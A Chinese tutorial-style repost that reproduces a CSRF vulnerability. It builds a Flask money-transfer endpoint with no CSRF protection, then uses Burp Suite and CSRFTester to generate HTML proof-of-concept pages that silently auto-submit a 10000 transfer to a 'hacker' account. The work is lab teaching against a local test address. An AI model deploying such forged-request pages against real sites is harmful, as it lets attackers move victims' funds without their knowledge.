CSRF漏洞复现及测试工具讲解

news/2024/10/1 21:43:01

一、Python编写一个存在CSRF漏洞

① 编写html网页

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>转账</title>
</head>
<body><h1>转账</h1><form action="/transfer" method="post"><label for="amount">金额:</label><input type="text" name="amount" required><br><label for="recipient">接收者:</label><input type="text" name="recipient" required><br><input type="submit" value="提交"></form>
</body>
</html>

② 编写网页请求接口代码

from flask import Flask, request, render_templateapp = Flask(__name__, template_folder='template')
@app.route('/')
def index():return render_template('transfer.html')@app.route('/transfer', methods=['GET', 'POST'])
def transfer():if request.method == 'POST':amount = request.form['amount']recipient = request.form['recipient']# 执行转账操作,将指定金额从当前用户转移到指定的接收者账户return f"成功转账 {amount} 给 {recipient}"return render_template(r'transfer.html')if __name__ == '__main__':app.run(host='10.162.95.61')

③ 运行代码

④ 测试网页功能是否正常

输入转账进入,接收转账人员,点击

这个示例代码存在一个CSRF漏洞。攻击者可以通过构造恶意的HTML表单或JavaScript代码,诱导用户点击链接或提交表单,从而在用户不知情的情况下执行转账操作。由于没有适当的CSRF防护措施,攻击者可以利用这个漏洞进行非法的转账操作

 

二、BurpSuite抓取/拦截转账请求

我们的目标是测试这个转账功能是否存在CSRF漏洞。

(1)运行上面例子的Python代码并访问主页

(2)输入转账金额和接收人点击提交,BurpSuite会抓取或拦截转账请求。

 抓包找到该接口-右键-相关工具-生成对应POC

 复制html本地保存生成的POC文件,文件格式XXX.html

生成的恶意HTML页面如下所示:

 

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="http://10.162.95.61:5000/transfer" method="POST"><input type="hidden" name="amount" value="10000" /><input type="hidden" name="recipient" value="test" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

将接收转账的账号修改成自己的账号,如hacker

  访问这个恶意的网页点击恶意网页中的“Submit request”按钮

 如果受害者点击了页面上的“Submit request”按钮,浏览器会发送转账请求到目标网站修改密码页面,导致向"hacker"账号转账了10000元,这表明存在CSRF漏洞。

三、CSRFTester自动化探测工具

CSRFTester 工具的测试原理大概是这样的, 使用代理抓取我们在浏览器中访问过的所有的连接以及 所有的表单等信息,通过在 CSRFTester 中修改相应的表单等信息,重新提交 ,相当于一次伪造客户端请 求,如果修改过的测试请求,成功被网站服务器接受,则说明存在 CSRF 漏洞,当然此款工具也可以被用 来进行 CSRF 攻击。
步骤如下
(1)、设置浏览器代理:127.0.0.1:8008
( 2)、登录 Web 应用程序,提交表单,在 CSRF 工具中修改表单内容,查看是否更改,如果更改表 单存在 CSRF 漏洞。
( 3)、生产 POC 代码。

1、启动 CSRFTester
需要安装 JDK8
开始录制   

 备注:工具默认代理127.0.0.1:8008,浏览器代理插件设置对应的端口即可

修改表单内容

生成 html 文件

 表单内容仅保留方框中我们提交的信息,其他内容一律删除,然后保存退出

<form method="POST" name="form2" action="http://10.162.95.61:5000/transfer">
<input type="hidden" name="amount" value="10000"/>
<input type="hidden" name="recipient" value="hacker1111"/>
</form>  

运行生成的html文件

 

 

 

  

  

  

  

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hjln.cn/news/44915.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

redis自学(47)批处理优化

大量数据的导入的方式Redis提供的批处理方案M操作比Pipeline快,因为M操作是内部操作,原子操作,而Pipeline不是。集群下的批处理 如MSET或Pipeline这样的批处理需要在一次请求中携带多条命令,而此时如果redis是一个集群,那批处理命令的多个key必须落在一个插槽中,否则就会…

妙用OSGraph:发掘GitHub知识图谱上的开源故事

OSGraph (Open Source Graph) 是一个开源图谱关系洞察工具,基于GitHub开源数据全域图谱,实现开发者行为、项目社区生态的分析洞察。可以为开发者、项目Owner、开源布道师、社区运营等提供简洁直观的开源数据视图,帮助你和你的项目制作专属的开源名片、寻求契合的开发伙伴、挖…

云消息队列 ApsaraMQ 成本治理实践(文末附好礼)

本文将探讨云消息队列 ApsaraMQ 在成本治理方面的实践经验,同时介绍在 Serverless 版本中的架构优化和新增能力。希望能够为企业或个人提供成本控制参考,同时帮助大家更好地理解和使用云消息队列 ApsaraMQ,以实现成本效益最大化。作者:家泽、稚柳 前言: 在 AI 原生应用架构…

DNF单机源码架设教程|无需服务器|虚拟机一键搭建

一. 搭建所需要的文件 获取地址:https://githubs.xyz/boot/?app=15 二.搭建步骤 只需一台windows系统,首先需要安装vm虚拟机 目录在vm虚拟机下面 安装完成打开 需要输入激活序列号, 在 VM序列号.txt 里面,16.0的 左上角 文件 打开 选择: 服务端-> DNF Server 7.9 x64.…

elasticsearch之ik分词器和自定义词库实现

ElasticSearch分词器 所谓的分词就是通过tokenizer(分词器)将一个字符串拆分为多个独立的tokens(词元-独立的单词),然后输出为tokens流的过程。 例如"my name is HanMeiMei"这样一个字符串就会被默认的分词器拆分为[my,name,is HanMeiMei].ElasticSearch中提供了很多…

Oracle报错:“Error in invoking target ‘agent nmhs’ of makefile...”

Oracle报错:“Error in invoking target ‘agent nmhs’ of makefile...”前言:Oracle在安装过程中的报错一定要重视,这决定你后续是否能完成安装以及是否能使用。我这边会陆续汇总一些报错现象以及解决方案共享。##Install Product 86%报错信息 :“Error in invoking targ…

VSCode_运行unittest用例:提示文件-test未运行,控制台提示缺少env

如下图:解决方法: a.vscode安装插件:Python Extension Pack。 b.安装成功,重新打开VS Code窗口

从零开始写 Docker(十八)---容器网络实现(下):为容器插上”网线“

本文为从零开始写 Docker 系列第十八篇,利用 linux 下的 Veth、Bridge、iptables 等等相关技术,构建容器网络模型,为容器插上”网线“。完整代码见:https://github.com/lixd/mydocker 欢迎 Star推荐阅读以下文章对 docker 基本实现有一个大致认识:核心原理:深入理解 Dock…